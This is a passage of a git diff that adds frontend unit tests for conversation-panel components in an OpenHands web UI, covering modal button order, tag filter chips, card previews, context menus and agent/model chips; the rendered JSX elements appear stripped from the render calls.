+ });
+
+ it("places Cancel before Confirm in the footer", () => {
+ renderWithProviders(
+ ,
+ );
+
+ const cancel = screen.getByText("BUTTON$CANCEL");
+ const confirm = screen.getByText("ACTION$CONFIRM_ARCHIVE");
+
+ // eslint-disable-next-line no-bitwise
+ expect(
+ cancel.compareDocumentPosition(confirm) &
+ Node.DOCUMENT_POSITION_FOLLOWING,
+ ).toBeTruthy();
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/confirm-delete-modal.test.tsx b/__tests__/components/features/conversation-panel/confirm-delete-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..bcd148c8ee785219cc1ac5d7c447a6c5a987694e
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/confirm-delete-modal.test.tsx
@@ -0,0 +1,62 @@
+import React from "react";
+import { describe, it, expect, vi } from "vitest";
+import { screen } from "@testing-library/react";
+import { renderWithProviders } from "test-utils";
+import { ConfirmDeleteModal } from "#/components/features/conversation-panel/confirm-delete-modal";
+
+vi.mock("react-i18next", async (importOriginal) => ({
+ ...(await importOriginal()),
+ Trans: ({
+ values,
+ components,
+ }: {
+ values: { title: string };
+ components: { title: React.ReactElement };
+ }) => React.cloneElement(components.title, {}, values.title),
+}));
+
+describe("ConfirmDeleteModal", () => {
+ it("should display the conversation title", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByText(/My Test Conversation/)).toBeInTheDocument();
+ });
+
+ it("falls back to the default warning when description is null", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.getByText("CONVERSATION$DELETE_WARNING"),
+ ).toBeInTheDocument();
+ });
+
+ it("places Cancel before Confirm in the footer so the dominant action is the last focusable button", () => {
+ // Arrange: render the modal so both footer buttons are mounted.
+ renderWithProviders(
+ ,
+ );
+
+ // Act: locate both footer buttons.
+ const cancel = screen.getByText("BUTTON$CANCEL");
+ const confirm = screen.getByText("ACTION$CONFIRM_DELETE");
+
+ // Assert: Cancel precedes the dominant Confirm action in DOM order.
+ // eslint-disable-next-line no-bitwise
+ expect(
+ cancel.compareDocumentPosition(confirm) &
+ Node.DOCUMENT_POSITION_FOLLOWING,
+ ).toBeTruthy();
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-active-tag-filters.test.tsx b/__tests__/components/features/conversation-panel/conversation-active-tag-filters.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..60e030b46600b971abf02ec10d1c59c574c63c32
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-active-tag-filters.test.tsx
@@ -0,0 +1,120 @@
+import { describe, it, expect, vi } from "vitest";
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { ConversationActiveTagFilters } from "#/components/features/conversation-panel/conversation-active-tag-filters";
+import { UNNAMED_AUTOMATION_FACET } from "#/components/features/conversation-panel/conversation-panel-list-helpers";
+
+const renderStrip = (
+ props: Partial<
+ React.ComponentProps
+ > = {},
+) =>
+ renderWithProviders(
+ ,
+ );
+
+describe("ConversationActiveTagFilters", () => {
+ it("renders nothing when no filter is active", () => {
+ renderStrip();
+
+ expect(
+ screen.queryByTestId("conversation-active-tag-filters"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("names every active facet so a narrowed list is never unexplained", () => {
+ renderStrip({ selectedFacets: ["project=vault", "work"] });
+
+ expect(
+ screen.getByTestId("conversation-active-tag-filters"),
+ ).toBeInTheDocument();
+ // Keyed and bare tags both read the way the facet rows label them.
+ expect(
+ screen.getByTestId("active-tag-filter-project=vault"),
+ ).toHaveTextContent("project=vault");
+ expect(screen.getByTestId("active-tag-filter-work")).toHaveTextContent(
+ "work",
+ );
+ });
+
+ it("drops a single filter from the strip itself", async () => {
+ const user = userEvent.setup();
+ const onToggleFacet = vi.fn();
+ renderStrip({ selectedFacets: ["project=vault", "work"], onToggleFacet });
+
+ await user.click(screen.getByTestId("active-tag-filter-project=vault"));
+
+ expect(onToggleFacet).toHaveBeenCalledWith("project=vault");
+ });
+
+ it("clears every filter at once", async () => {
+ const user = userEvent.setup();
+ const onClearAll = vi.fn();
+ renderStrip({ selectedFacets: ["project=vault"], onClearAll });
+
+ await user.click(screen.getByTestId("clear-tag-filters"));
+
+ expect(onClearAll).toHaveBeenCalledTimes(1);
+ });
+
+ it("names an active automation-name filter too, so it is never the invisible narrowing", () => {
+ // The automation-name selection is persisted and its rows live inside the
+ // advanced-options modal; without a chip here a reload silently hides
+ // conversations with nothing on screen to say why.
+ renderStrip({ selectedAutomationNames: ["Nightly Audit"] });
+
+ expect(
+ screen.getByTestId("conversation-active-tag-filters"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByTestId("active-automation-filter-Nightly Audit"),
+ ).toHaveTextContent("Nightly Audit");
+ });
+
+ it("labels the unnamed-automation bucket rather than leaking its sentinel", () => {
+ renderStrip({ selectedAutomationNames: [UNNAMED_AUTOMATION_FACET] });
+
+ expect(
+ screen.getByTestId(
+ `active-automation-filter-${UNNAMED_AUTOMATION_FACET}`,
+ ),
+ ).not.toHaveTextContent(UNNAMED_AUTOMATION_FACET);
+ });
+
+ it("drops a single automation-name filter from the strip", async () => {
+ const user = userEvent.setup();
+ const onToggleAutomationName = vi.fn();
+ renderStrip({
+ selectedAutomationNames: ["Nightly Audit"],
+ onToggleAutomationName,
+ });
+
+ await user.click(
+ screen.getByTestId("active-automation-filter-Nightly Audit"),
+ );
+
+ expect(onToggleAutomationName).toHaveBeenCalledWith("Nightly Audit");
+ });
+
+ it("shows both families side by side", () => {
+ renderStrip({
+ selectedFacets: ["project=vault"],
+ selectedAutomationNames: ["Nightly Audit"],
+ });
+
+ expect(
+ screen.getByTestId("active-tag-filter-project=vault"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByTestId("active-automation-filter-Nightly Audit"),
+ ).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-card-preview.test.tsx b/__tests__/components/features/conversation-panel/conversation-card-preview.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..f6ece524cba075de72828fd04c3c753641c68122
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-card-preview.test.tsx
@@ -0,0 +1,147 @@
+import { describe, expect, it } from "vitest";
+import { screen } from "@testing-library/react";
+import { renderWithProviders } from "test-utils";
+import { ConversationCardPreview } from "#/components/features/conversation-panel/conversation-card/conversation-card-preview";
+
+const PREVIEW_TITLE = "Conversation 1";
+
+describe("ConversationCardPreview", () => {
+ it("renders free-form tags and skips reserved repo / branch / workspace keys", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.queryByTestId("conversation-card-tag-chip")).not.toBeInTheDocument();
+
+ const rows = screen.getAllByTestId("conversation-card-preview-tag-row");
+ expect(rows).toHaveLength(2);
+ expect(rows[0]).toHaveAttribute("data-tag-key", "origin");
+ expect(rows[0]).toHaveTextContent("slack");
+ expect(rows[1]).toHaveAttribute("data-tag-key", "owner");
+ expect(rows[1]).toHaveTextContent("alice");
+ });
+
+ it("still shows first-class repo / branch rows from selectedRepository", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByText("org/repo")).toBeInTheDocument();
+ expect(screen.getByText("main")).toBeInTheDocument();
+ const rows = screen.getAllByTestId("conversation-card-preview-tag-row");
+ expect(rows).toHaveLength(1);
+ expect(rows[0]).toHaveAttribute("data-tag-key", "owner");
+ });
+
+ it("shows Directory from workspaceWorkingDir instead of a workspace tag", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByText("/workspace/project")).toBeInTheDocument();
+ const rows = screen.getAllByTestId("conversation-card-preview-tag-row");
+ expect(rows).toHaveLength(1);
+ expect(rows[0]).toHaveAttribute("data-tag-key", "owner");
+ });
+
+ it("shows full tag values without truncation", () => {
+ const longValue = "a-very-long-custom-tag-value-that-exceeds-chip-budget";
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("conversation-card-preview-tag-row")).toHaveTextContent(
+ longValue,
+ );
+ });
+
+ it("styles the model row with the OpenHands brand icon", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.getByTestId("conversation-card-preview-model"),
+ ).toHaveTextContent("openhands/claude-opus-4-5-20251101");
+ expect(
+ screen.getByTestId("agent-brand-icon-openhands"),
+ ).toBeInTheDocument();
+ });
+
+ it("uses the ACP provider mark on the model row for ACP conversations", () => {
+ // The card chip resolves the ACP brand mark; the hovercard for the same
+ // conversation must not contradict it with the OpenHands wordmark.
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.getByTestId("agent-brand-icon-claude-code"),
+ ).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("agent-brand-icon-openhands"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("shows bare tags (empty value) with an em dash in the hovercard", () => {
+ renderWithProviders(
+ ,
+ );
+
+ const rows = screen.getAllByTestId("conversation-card-preview-tag-row");
+ expect(rows).toHaveLength(3);
+ expect(rows[0]).toHaveAttribute("data-tag-key", "appmode");
+ expect(rows[0]).toHaveTextContent("work");
+ expect(rows[1]).toHaveAttribute("data-tag-key", "worktools");
+ expect(rows[1]).toHaveTextContent("—");
+ expect(rows[2]).toHaveAttribute("data-tag-key", "workwsid");
+ expect(rows[2]).toHaveTextContent("abc");
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-card.test.tsx b/__tests__/components/features/conversation-panel/conversation-card.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..03e646bf91879ace6760e2dbd939956e27afdc88
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-card.test.tsx
@@ -0,0 +1,1214 @@
+import { screen, within } from "@testing-library/react";
+import {
+ afterAll,
+ afterEach,
+ beforeAll,
+ describe,
+ expect,
+ it,
+ test,
+ vi,
+} from "vitest";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { formatTimeDelta } from "#/utils/format-time-delta";
+import { ConversationCard } from "#/components/features/conversation-panel/conversation-card/conversation-card";
+import { clickOnEditButton } from "./utils";
+import { ConversationCardActions } from "#/components/features/conversation-panel/conversation-card/conversation-card-actions";
+import { ExecutionStatus } from "#/types/agent-server/core/base/common";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { useFreeModelsStore } from "#/stores/free-models-store";
+
+// We'll use the actual i18next implementation but override the translation function
+
+// Mock the t function to return our custom translations
+vi.mock("react-i18next", async () => {
+ const actual = await vi.importActual("react-i18next");
+ return {
+ ...actual,
+ useTranslation: () => ({
+ t: (key: string) => {
+ const translations: Record = {
+ CONVERSATION$CREATED: "Created",
+ CONVERSATION$AGO: "ago",
+ CONVERSATION$UPDATED: "Updated",
+ COMMON$NO_REPOSITORY: "No repository",
+ CONVERSATION$ACP_AGENT_GENERIC: "ACP",
+ CONVERSATION_PANEL$PIN_CONVERSATION: "Pin conversation",
+ CONVERSATION_PANEL$UNPIN_CONVERSATION: "Unpin conversation",
+ };
+ return translations[key] || key;
+ },
+ i18n: {
+ changeLanguage: () => new Promise(() => {}),
+ },
+ }),
+ };
+});
+
+vi.mock("#/hooks/use-tracking", () => ({
+ useTracking: () => ({
+ trackDownloadVsCodeButtonClicked: vi.fn(),
+ }),
+}));
+
+describe("ConversationCard", () => {
+ const onClick = vi.fn();
+ const onDelete = vi.fn();
+ const onChangeTitle = vi.fn();
+
+ beforeAll(() => {
+ vi.stubGlobal("window", {
+ open: vi.fn(),
+ addEventListener: vi.fn(),
+ removeEventListener: vi.fn(),
+ location: { origin: "http://localhost:3000" },
+ });
+ });
+
+ afterEach(() => {
+ vi.clearAllMocks();
+ });
+
+ afterAll(() => {
+ vi.unstubAllGlobals();
+ });
+
+ it("should render the conversation card", () => {
+ renderWithProviders(
+ ,
+ );
+
+ const card = screen.getByTestId("conversation-card");
+
+ within(card).getByText("Conversation 1");
+
+ // Use a regex to match the time part since it might have whitespace
+ const timeRegex = new RegExp(
+ formatTimeDelta(new Date("2021-10-01T12:00:00Z")),
+ );
+ expect(card).toHaveTextContent(timeRegex);
+ });
+
+ it("should render the selectedRepository if available", () => {
+ const { rerender } = renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("conversation-card-selected-repository"),
+ ).not.toBeInTheDocument();
+
+ rerender(
+ ,
+ );
+
+ screen.getByTestId("conversation-card-selected-repository");
+ });
+
+ it("styles repo and branch with the same raised pill chip as tags", () => {
+ renderWithProviders(
+ ,
+ );
+
+ const repo = screen.getByTestId("conversation-card-selected-repository");
+ const branch = screen.getByTestId("conversation-card-selected-branch");
+ const tag = screen.getByTestId("conversation-card-tag-chip");
+
+ expect(repo).toHaveClass("bg-[var(--oh-surface-raised)]");
+ expect(branch).toHaveClass("bg-[var(--oh-surface-raised)]");
+ expect(tag).toHaveClass("bg-[var(--oh-surface-raised)]");
+
+ // Identical pill look. The one intentional difference is flex-shrink:
+ // repo and branch share a single overflow-hidden row, so they must shrink
+ // (otherwise a long repo name evicts the branch chip entirely), while a
+ // tag chip keeps its intrinsic width and folds behind "+N" instead.
+ const pillLook = (element: HTMLElement) =>
+ element.className
+ .split(/\s+/)
+ .filter((name) => name !== "shrink" && name !== "shrink-0")
+ .sort()
+ .join(" ");
+
+ expect(pillLook(repo)).toBe(pillLook(tag));
+ expect(pillLook(branch)).toBe(pillLook(tag));
+ expect(repo).toHaveClass("shrink");
+ expect(repo).not.toHaveClass("shrink-0");
+ expect(branch).toHaveClass("shrink");
+ expect(branch).not.toHaveClass("shrink-0");
+ expect(tag).toHaveClass("shrink-0");
+ });
+
+ it("stacks metadata as repo/branch, then model, then tags", () => {
+ renderWithProviders(
+ ,
+ );
+
+ const repo = screen.getByTestId("conversation-card-selected-repository");
+ const model = screen.getByTestId("conversation-card-agent-chip");
+ const tags = screen.getByTestId("conversation-card-tag-chips");
+
+ expect(
+ repo.compareDocumentPosition(model) & Node.DOCUMENT_POSITION_FOLLOWING,
+ ).toBeTruthy();
+ expect(
+ model.compareDocumentPosition(tags) & Node.DOCUMENT_POSITION_FOLLOWING,
+ ).toBeTruthy();
+ });
+
+ it("renders the workspace folder name when no repository is selected", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByText("agent-canvas")).toBeInTheDocument();
+ expect(
+ screen.getByTitle("/workspace/project/agent-canvas"),
+ ).toBeInTheDocument();
+ });
+
+ it("styles the no-repository label with the same raised pill chip", () => {
+ renderWithProviders(
+ ,
+ );
+
+ const noRepo = screen.getByTestId("conversation-card-no-repository");
+ const tag = screen.getByTestId("conversation-card-tag-chip");
+ expect(noRepo).toHaveTextContent("No repository");
+ expect(noRepo.className).toBe(tag.className);
+ });
+
+ it("handles Windows workspace paths and falls back when the path is empty", () => {
+ const { rerender } = renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByText("repo")).toBeInTheDocument();
+
+ rerender(
+ ,
+ );
+
+ expect(screen.getByText("No repository")).toBeInTheDocument();
+ });
+
+ it("should toggle a context menu when clicking the ellipsis button", async () => {
+ const user = userEvent.setup();
+ const onContextMenuToggle = vi.fn();
+ const { rerender } = renderWithProviders(
+ ,
+ );
+
+ // The closed state is observable via the `data-context-menu-open` attr
+ // on the conversation-card root; visual hiding is a CSS consequence.
+ expect(screen.getByTestId("conversation-card")).toHaveAttribute(
+ "data-context-menu-open",
+ "false",
+ );
+
+ const ellipsisButton = screen.getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+
+ expect(onContextMenuToggle).toHaveBeenCalledWith(true);
+
+ // Simulate context menu being opened by parent
+ rerender(
+ ,
+ );
+
+ screen.getByTestId("context-menu");
+
+ await user.click(ellipsisButton);
+
+ expect(onContextMenuToggle).toHaveBeenCalledWith(false);
+ });
+
+ it("keeps the ellipsis clickable without hover via touch-first reveal classes", () => {
+ renderWithProviders(
+ ,
+ );
+
+ const ellipsisButton = screen.getByTestId("ellipsis-button");
+ const actionOverlay = ellipsisButton.parentElement;
+
+ expect(actionOverlay).toHaveClass("pointer-events-auto");
+ expect(actionOverlay?.className).toContain(
+ "[@media(hover:hover)_and_(pointer:fine)]:pointer-events-none",
+ );
+ });
+
+ it("closes the context menu when clicking outside", async () => {
+ const user = userEvent.setup();
+ const onContextMenuToggle = vi.fn();
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("context-menu")).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("outside"));
+
+ expect(onContextMenuToggle).toHaveBeenCalledWith(false);
+ });
+
+ it("should call onDelete when the delete button is clicked", async () => {
+ const user = userEvent.setup();
+ const onContextMenuToggle = vi.fn();
+ renderWithProviders(
+ ,
+ );
+
+ const menu = screen.getByTestId("context-menu");
+ const deleteButton = within(menu).getByTestId("delete-button");
+
+ await user.click(deleteButton);
+
+ expect(onDelete).toHaveBeenCalled();
+ expect(onContextMenuToggle).toHaveBeenCalledWith(false);
+ });
+
+ it("should call onArchive when the archive button is clicked", async () => {
+ const user = userEvent.setup();
+ const onArchive = vi.fn();
+ const onContextMenuToggle = vi.fn();
+ renderWithProviders(
+ ,
+ );
+
+ const menu = screen.getByTestId("context-menu");
+ await user.click(within(menu).getByTestId("archive-button"));
+
+ expect(onArchive).toHaveBeenCalled();
+ expect(onContextMenuToggle).toHaveBeenCalledWith(false);
+ });
+
+ test("clicking the selectedRepository should not trigger the onClick handler", async () => {
+ const user = userEvent.setup();
+ renderWithProviders(
+ ,
+ );
+
+ const selectedRepository = screen.getByTestId(
+ "conversation-card-selected-repository",
+ );
+ await user.click(selectedRepository);
+
+ expect(onClick).not.toHaveBeenCalled();
+ });
+
+ test("conversation title should call onChangeTitle when changed and blurred", async () => {
+ const user = userEvent.setup();
+ let menuOpen = true;
+ const onContextMenuToggle = vi.fn((isOpen: boolean) => {
+ menuOpen = isOpen;
+ });
+ const { rerender } = renderWithProviders(
+ ,
+ );
+
+ await clickOnEditButton(user);
+
+ // Re-render with updated state
+ rerender(
+ ,
+ );
+
+ const title = screen.getByTestId("conversation-card-title");
+
+ expect(title).toBeEnabled();
+ // Context menu should be closed after edit button is clicked.
+ expect(screen.getByTestId("conversation-card")).toHaveAttribute(
+ "data-context-menu-open",
+ "false",
+ );
+ // expect to be focused
+ expect(document.activeElement).toBe(title);
+
+ await user.clear(title);
+ await user.type(title, "New Conversation Name ");
+ await user.tab();
+
+ expect(onChangeTitle).toHaveBeenCalledWith("New Conversation Name");
+ });
+
+ it("should not call onChange title", async () => {
+ const user = userEvent.setup();
+ const onContextMenuToggle = vi.fn();
+ renderWithProviders(
+ ,
+ );
+
+ await clickOnEditButton(user);
+
+ const title = screen.getByTestId("conversation-card-title");
+
+ await user.clear(title);
+ await user.tab();
+
+ expect(onChangeTitle).not.toBeCalled();
+ });
+
+ test("clicking the title should trigger the onClick handler", async () => {
+ const user = userEvent.setup();
+ renderWithProviders(
+ ,
+ );
+
+ const title = screen.getByTestId("conversation-card-title");
+ await user.click(title);
+
+ expect(onClick).toHaveBeenCalled();
+ });
+
+ test("clicking the title should not trigger the onClick handler if edit mode", async () => {
+ const user = userEvent.setup();
+ const onContextMenuToggle = vi.fn();
+ renderWithProviders(
+ ,
+ );
+
+ await clickOnEditButton(user);
+
+ const title = screen.getByTestId("conversation-card-title");
+ await user.click(title);
+
+ expect(onClick).not.toHaveBeenCalled();
+ });
+
+ test("clicking the delete button should not trigger the onClick handler", async () => {
+ const user = userEvent.setup();
+ const onContextMenuToggle = vi.fn();
+ renderWithProviders(
+ ,
+ );
+
+ const menu = screen.getByTestId("context-menu");
+ const deleteButton = within(menu).getByTestId("delete-button");
+
+ await user.click(deleteButton);
+
+ expect(onClick).not.toHaveBeenCalled();
+ });
+
+ it("should not display the edit or delete options if the handler is not provided", async () => {
+ const onContextMenuToggle = vi.fn();
+ const { rerender } = renderWithProviders(
+ ,
+ );
+
+ const menu = await screen.findByTestId("context-menu");
+ expect(within(menu).queryByTestId("edit-button")).toBeInTheDocument();
+ expect(within(menu).queryByTestId("delete-button")).not.toBeInTheDocument();
+
+ rerender(
+ ,
+ );
+
+ const newMenu = await screen.findByTestId("context-menu");
+ expect(
+ within(newMenu).queryByTestId("edit-button"),
+ ).not.toBeInTheDocument();
+ expect(within(newMenu).queryByTestId("delete-button")).toBeInTheDocument();
+ });
+
+ it("should not render the ellipsis button if there are no actions", () => {
+ const { rerender } = renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("ellipsis-button")).toBeInTheDocument();
+
+ rerender(
+ ,
+ );
+
+ expect(screen.getByTestId("ellipsis-button")).toBeInTheDocument();
+
+ rerender(
+ ,
+ );
+
+ expect(screen.queryByTestId("ellipsis-button")).not.toBeInTheDocument();
+ });
+
+ it("renders the status dot in the header when executionStatus is provided", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.getByTestId("conversation-status-working"),
+ ).toBeInTheDocument();
+ });
+
+ const statusTable: [ExecutionStatus, boolean][] = [
+ [ExecutionStatus.RUNNING, true],
+ [ExecutionStatus.IDLE, true],
+ [ExecutionStatus.FINISHED, true],
+ [ExecutionStatus.WAITING_FOR_CONFIRMATION, true],
+ [ExecutionStatus.ERROR, false],
+ [ExecutionStatus.STUCK, false],
+ [ExecutionStatus.PAUSED, false],
+ ];
+
+ it.each(statusTable)(
+ "should toggle stop button visibility correctly for execution status",
+ (executionStatus, shouldShow) => {
+ renderWithProviders(
+ ,
+ );
+
+ const stopButton = screen.queryByTestId("stop-button");
+
+ if (shouldShow) {
+ expect(stopButton).toBeInTheDocument();
+ } else {
+ expect(stopButton).not.toBeInTheDocument();
+ }
+ },
+ );
+
+ describe("stop button label by active backend", () => {
+ const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+ };
+
+ afterEach(() => {
+ __resetActiveStoreForTests();
+ });
+
+ it("uses COMMON$STOP_CONVERSATION on a local backend", () => {
+ // Default active backend (no provider, no registered backends) is the
+ // bundled local backend.
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("stop-button")).toHaveTextContent(
+ "COMMON$STOP_CONVERSATION",
+ );
+ });
+
+ it("uses COMMON$CLOSE_CONVERSATION_STOP_RUNTIME on a cloud backend", () => {
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+
+ renderWithProviders(
+
+
+ ,
+ );
+
+ expect(screen.getByTestId("stop-button")).toHaveTextContent(
+ "COMMON$CLOSE_CONVERSATION_STOP_RUNTIME",
+ );
+ });
+ });
+
+ describe("Tag chips", () => {
+ // Tag chips surface the agent-server's server-side conversation tags
+ // (e.g. ``origin=slack`` stamped by an automation) and are gated by the
+ // conversation panel's "Tags" toggle (``showTags``). Chip labels are
+ // value-only; the full ``key: value`` lives in the chip tooltip.
+ it("renders non-reserved tags as value-only chips when showTags is on", () => {
+ renderWithProviders(
+ ,
+ );
+
+ const chips = screen.getAllByTestId("conversation-card-tag-chip");
+ // ``origin`` is a priority key, so it leads; remaining keys sort A–Z.
+ expect(chips).toHaveLength(2);
+ expect(chips[0]).toHaveTextContent("slack");
+ expect(chips[0].getAttribute("title")).toMatch(/: slack$/);
+ expect(chips[0].getAttribute("title")).not.toContain("origin");
+ expect(chips[1]).toHaveTextContent("alice");
+ expect(chips[1]).toHaveAttribute("title", "Owner: alice");
+ expect(
+ within(chips[0]).getByTestId("conversation-card-tag-chip-icon"),
+ ).toHaveAttribute("data-tag-key", "origin");
+ expect(
+ within(chips[1]).getByTestId("conversation-card-tag-chip-icon"),
+ ).toHaveAttribute("data-tag-key", "owner");
+ expect(
+ screen.queryByTestId("conversation-tags-indicator"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("filters reserved tag keys out of the chip row", () => {
+ // Reserved keys already have a first-class UI source (ACP chip, title,
+ // repo/branch/workspace metadata) and must not double-render as tags.
+ renderWithProviders(
+ ,
+ );
+
+ const chips = screen.getAllByTestId("conversation-card-tag-chip");
+ expect(chips).toHaveLength(1);
+ expect(chips[0]).toHaveTextContent("review");
+ expect(chips[0].getAttribute("title")).toMatch(/: review$/);
+ expect(chips[0].getAttribute("title")).not.toContain("origin");
+ });
+
+ it("hides every automation provenance chip", () => {
+ // The whole automation family is reserved: the SDK stamps it at
+ // creation and the panel's automation filter is its first-class UI
+ // source. Rendering it as tag chips would double-book the user-facing
+ // tag surface — and let user-authored tags spoof automation
+ // classification.
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("conversation-card-tag-chip"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("hides the chips when showTags is omitted", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("conversation-card-tag-chip"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("renders no tag UI at all when the Tags preference is off", () => {
+ // The preference owns presence: off means nothing about tags on the
+ // card, not even the indicator. This is what keeps the preference and
+ // the card from ever disagreeing — there is no card-level control left
+ // that could put tags back on screen while the toggle reads off.
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("conversation-tags-indicator"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.queryByTestId("conversation-card-tag-chip"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("renders no indicator when every tag is reserved", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("conversation-tags-indicator"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("keeps chips on a single nowrap row", () => {
+ renderWithProviders(
+ ,
+ );
+
+ const row = screen.getByTestId("conversation-card-tag-row");
+ expect(row).toHaveClass("flex-nowrap");
+ expect(row).toHaveClass("overflow-hidden");
+ });
+
+ it("hard-truncates long chip values while keeping the full tooltip", () => {
+ const longValue = "abcdefghijklmnopqrstuvwxyz";
+ renderWithProviders(
+ ,
+ );
+
+ const chip = screen.getByTestId("conversation-card-tag-chip");
+ expect(chip).toHaveTextContent("abcdefghijklm…");
+ expect(chip).toHaveAttribute("title", `Token: ${longValue}`);
+ });
+
+ it("renders no chip row when every tag is reserved", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("conversation-card-tag-chip"),
+ ).not.toBeInTheDocument();
+ });
+ });
+
+ describe("Agent chip", () => {
+ // The agent chip is gated by the conversation panel's "Agent / model"
+ // toggle (``showLlmProfiles``) — one control for both ACP and OpenHands
+ // cards. The renders below pass ``showLlmProfiles`` to exercise the chip;
+ // the omitted-prop fallback is covered by the first two tests.
+ it("hides the chip when showLlmProfiles is omitted for ACP", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("conversation-card-agent-chip"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("hides the chip when showLlmProfiles is omitted for OpenHands", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("conversation-card-agent-chip"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("renders the brand mark + model for an ACP conversation with a model", () => {
+ // PR 730 wires ``current_model_name``/``current_model_id``/configured
+ // ``acp_model`` into ``llm_model`` on the adapter so ACP conversations
+ // arrive at the card with a concrete model string. With the chip toggle
+ // on, the chip shows the resolved Claude brand mark + that model text.
+ renderWithProviders(
+ ,
+ );
+
+ const chip = screen.getByTestId("conversation-card-agent-chip");
+ // A raw model string not in the registry passes through verbatim
+ // (label resolution for known IDs is covered by the next test).
+ expect(chip).toHaveTextContent("raw-model-id");
+ expect(chip).toHaveAttribute("title", "Claude Code · raw-model-id");
+ expect(
+ within(chip).getByTestId("agent-brand-icon-claude-code"),
+ ).toBeInTheDocument();
+ });
+
+ it("shows the provider's picker label for a known model ID", () => {
+ // When ``llm_model`` is a registry-known ID, the chip renders the
+ // human label ("Claude Opus (1M)") instead of the raw ID — matching
+ // what the Settings → Agent picker shows for the same value.
+ renderWithProviders(
+ ,
+ );
+
+ const chip = screen.getByTestId("conversation-card-agent-chip");
+ expect(chip).toHaveTextContent("Claude Opus (1M)");
+ expect(chip).toHaveAttribute("title", "Claude Code · Claude Opus (1M)");
+ });
+
+ it("falls back to the provider display name for an ACP conversation with no model", () => {
+ // No ``llm_model`` (older agent-server, no SDK runtime fields, no
+ // configured ``acp_model``) — the chip still renders for identity, with
+ // the provider name as the text and the brand mark as the icon.
+ renderWithProviders(
+ ,
+ );
+
+ const chip = screen.getByTestId("conversation-card-agent-chip");
+ expect(chip).toHaveTextContent("Claude Code");
+ expect(chip).toHaveAttribute("title", "Claude Code");
+ expect(
+ within(chip).getByTestId("agent-brand-icon-claude-code"),
+ ).toBeInTheDocument();
+ });
+
+ it("falls back to the generic terminal glyph when the server key is unknown", () => {
+ // ``custom`` (and any future ACP server Canvas doesn't know yet) maps
+ // to the fallback ``cli-generic`` icon and the generic "ACP" label.
+ renderWithProviders(
+ ,
+ );
+
+ const chip = screen.getByTestId("conversation-card-agent-chip");
+ expect(chip).toHaveTextContent("ACP");
+ expect(
+ within(chip).getByTestId("agent-brand-icon-generic"),
+ ).toBeInTheDocument();
+ });
+
+ it("falls back to the generic terminal glyph when the server key is null", () => {
+ // ACP conversations missing the ``acpserver`` tag (older clients,
+ // raw API writes) still get a chip — identity first, exact provider
+ // second.
+ renderWithProviders(
+ ,
+ );
+
+ const chip = screen.getByTestId("conversation-card-agent-chip");
+ expect(chip).toHaveTextContent("ACP");
+ expect(
+ within(chip).getByTestId("agent-brand-icon-generic"),
+ ).toBeInTheDocument();
+ });
+
+ it("renders the OpenHands logo + model name for native conversations", () => {
+ // With the chip toggle on, OpenHands native conversations show the
